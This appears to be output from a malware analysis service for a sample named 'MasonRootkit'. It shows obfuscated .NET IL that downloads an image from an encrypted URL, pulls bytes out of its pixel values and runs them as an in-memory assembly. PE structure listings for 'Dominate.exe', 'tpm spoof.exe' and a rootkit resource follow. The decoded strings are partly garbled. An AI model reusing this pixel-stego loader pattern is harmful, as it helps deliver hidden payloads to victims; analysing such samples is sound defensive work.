call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String,System.Byte[],System.Boolean,System.String)
nop <null>
newobj System.Void System.Net.WebClient::.ctor()
stloc.s V_5
ldloc.s V_5
ldstr 
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1338693632
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.IO.Stream System.Net.WebClient::OpenRead(System.String)
newobj System.Void System.Drawing.Bitmap::.ctor(System.IO.Stream)
stloc.s V_6
ldloc.s V_6
callvirt System.Int32 System.Drawing.Image::get_Width()
newarr System.Byte
stloc.s V_7
ldc.i4.0 <null>
stloc.s V_8
br.s IL_02F1: ldloc.s V_8
ldloc.s V_7
ldloc.s V_8
ldloc.s V_6
ldloc.s V_8
ldc.i4.0 <null>
callvirt System.Drawing.Color System.Drawing.Bitmap::GetPixel(System.Int32,System.Int32)
stloc.s V_9
ldloca.s V_9
call System.Byte System.Drawing.Color::get_R()
stelem.i1 <null>
ldloc.s V_8
ldc.i4.1 <null>
add <null>
stloc.s V_8
ldloc.s V_8
ldloc.s V_6
callvirt System.Int32 System.Drawing.Image::get_Width()
blt.s IL_02D3: ldloc.s V_7
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldloc.s V_7
callvirt System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
leave.s IL_0323: leave.s IL_0331
ldloc.s V_6
brfalse.s IL_0322: endfinally
ldloc.s V_6
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_0331: leave.s IL_0367
ldloc.s V_5
brfalse.s IL_0330: endfinally
ldloc.s V_5
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_0367: ret
stloc.s V_10
ldstr 
煳
煄
煄
煙
煄
焖
煚
煙
煗
煒
煟
煘
煑
焖
煗
煘
煒
焖
煆
煄
煙
煕
煓
煅
煅
煟
煘
煑
焖
煂
煞
煓
焖
煔
煟
煂
煛
煗
煆
焌
焖
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1018065206
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
ldloc.s V_10
callvirt System.String System.Exception::get_Message()
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
leave.s IL_0367: ret
ret <null>
76d622a3a2f86e2a5e6217155a6ee1d4
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
hiq22cyx.rbz
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
wxewidaxg.Resources
Dominate.exe
tpm spoof.exe
teuo0bvm.xthrootkit
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rdata
.data
.pdata
.rsrc
Resources
DLL
ID:0065
ID:1033
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rdata
.data
.pdata
.detourc
.detourd
_RDATA
.reloc
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙